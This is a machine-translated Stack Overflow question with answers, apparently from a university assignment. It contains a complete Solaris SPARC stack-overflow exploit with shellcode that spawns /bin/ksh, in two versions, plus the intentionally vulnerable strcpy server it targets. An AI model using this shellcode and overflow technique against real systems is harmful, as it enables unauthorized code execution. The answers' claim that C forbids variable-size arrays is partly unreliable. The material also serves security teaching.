2012-05-01 3 views
2

Недавно я закончил проект, в котором я должен был написать программу, чтобы «атаковать» сервер SUN Sparc и вызывать переполнение буфера. Цель состояла в том, чтобы запустить/bin/ksh изнутри работающего «сервера», в основном.Почему одна из этих программ работает, когда другая не работает?

В конце концов я получил его работу, но, по-моему, это была глупая причина: это не сработало, когда пользователь вводил значения буфера и смещения в качестве аргументов, но работал, когда значения были жестко закодированы.

Вот «жесткая» программа:

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x7f\xff\xff\xff" /* call */ 
     "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
     "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
     "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
     "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
     "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
     "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
     "\x91\xd0\x20\x08" /* ta 8 */ 
     "/bin/ksh" ; 

#define BUFSIZE 864 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
     asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

    char buf[ BUFSIZE ],*ptr; 
    unsigned long ret,sp; 
    int rem,i,err; 

    ret = sp = get_sp(); 

    if(argv[1]) { 
      ret -= strtoul(argv[1], (void *)0, 16); 
    } 

    /* align return address: IMPORTANT to be multiple of 8!! */ 

    if((rem = ret % 8)) { 
      ret &= ~(rem); 
    } 

    bzero(buf, BUFSIZE); 
    for(i = 0; i < BUFSIZE; i+=4) { 
      strcpy(&buf[i], np); 
    } 

    memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

    ptr = &buf[856]; 

    /* set fp to a save stack value 
    */ 
    *(ptr++) = (sp >> 24) & 0xff; 
    *(ptr++) = (sp >> 16) & 0xff; 
    *(ptr++) = (sp >> 8) & 0xff; 
    *(ptr++) = (sp) & 0xff; 


    /* we now overwrite saved PC 
    */ 
    *(ptr++) = (ret >> 24) & 0xff; 
    *(ptr++) = (ret >> 16) & 0xff; 
    *(ptr++) = (ret >> 8) & 0xff; 
    *(ptr++) = (ret) & 0xff; 

    buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

А вот «гибкая» версия:

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x7f\xff\xff\xff" /* call */ 
    "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
    "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
    "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
    "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
    "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
    "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
    "\x91\xd0\x20\x08" /* ta 8 */ 
    "/bin/ksh" ; 

static int BUFSIZE; 
static int OFFSET; 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
    asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

BUFSIZE = atoi(argv[1]); 
OFFSET = atoi(argv[2]); 
char buf[ BUFSIZE ],*ptr; 
unsigned long ret,sp; 
int rem,i,err; 

ret = sp = get_sp(); 

if(argv[1]) { 
     ret -= strtoul(argv[1], (void *)0, 16); 
} 
/* align return address: IMPORTANT to be multiple of 8!! */ 

if((rem = ret % 8)) { 
     ret &= ~(rem); 
} 

bzero(buf, BUFSIZE); 
for(i = 0; i < BUFSIZE; i+=4) { 
     strcpy(&buf[i], np); 
} 

memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

ptr = &buf[OFFSET]; 

/* set fp to a save stack value 
*/ 
*(ptr++) = (sp >> 24) & 0xff; 
*(ptr++) = (sp >> 16) & 0xff; 
*(ptr++) = (sp >> 8) & 0xff; 
*(ptr++) = (sp) & 0xff; 

/* we now overwrite saved PC 
*/ 
*(ptr++) = (ret >> 24) & 0xff; 
*(ptr++) = (ret >> 16) & 0xff; 
*(ptr++) = (ret >> 8) & 0xff; 
*(ptr++) = (ret) & 0xff; 

buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

Обратите внимание, как только разница в том, что я объявляю BUFSIZE и OFFSET, не определяя их, то установите их в основном.

Для потомков, вот "сервер" Я нападая:

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

void copy1(const char *a){ 
char buf[800]; 
    int i, j, k; 
    printf("Inside COPY\n"); 
strcpy(buf,a); 
} 

void Doing_nothing() { 
    int i, a[200]; 
    printf("Inside Doing_nothing\n"); 
    for (i=0; i < 100; i++) 
    a[i] =2; 
} 

void main(int argc, char *argv[]) { 

    printf("\n *********************************\n"); 
    printf("This is a newly developed WEB server. \n"); 
    printf(" ****************************************\n") ; 
    printf(" ******The web server is executing*******\n") ; 
    printf(" ****************************************\n") ; 
if (argc >=2) { 
     Doing_nothing(); 
     copy1(argv[1]); 
}  
} 

Все они составлены на моем Oracle Solaris 10 SPARC машины 9/10 s10s_u9wos_14a.

Мой вопрос:

Почему гибкая программа не работает только потому, что я сделать BUFSIZE и OFFSET аргументы командной строки?

ответ

2

Я удивлен, что динамический код даже скомпилирован.

Массивы, объявленные в стеке, в форме int A[X], должны иметь размер, известный во время компиляции.

Вместо этого вам нужно выделить массив с помощью malloc.

char buf[ BUFSIZE ],*ptr; 

должен быть

char *buf,*ptr; 
buf = (char *)malloc(BUFSIZE); 

и не забудьте освободить его, как только вы сделали

1

Ответ прост. C не любит принимать переменные в качестве спецификаторов размера при определении массивов. Один из способов - использовать #define, как в первом примере, или использовать const int. Если вы хотите, чтобы иметь размер, указанный в качестве аргумента, вам нужно использовать динамическое выделение памяти попробовать:

char * buf = (char *) malloc(BUFSIZE * sizeof(char)); /* sizeof(char) is optional ideally */ 
... 
... 
/*when you are done*/ 

free(buf); 
buf = NULL; 

Надеется, что это помогает

+0

Я так зол на себя за то, что не хватаю, вы, ребята, не» я даже знаю. Проблема только в том, что она по-прежнему не работает должным образом. – BigDamnHero

Смежные вопросы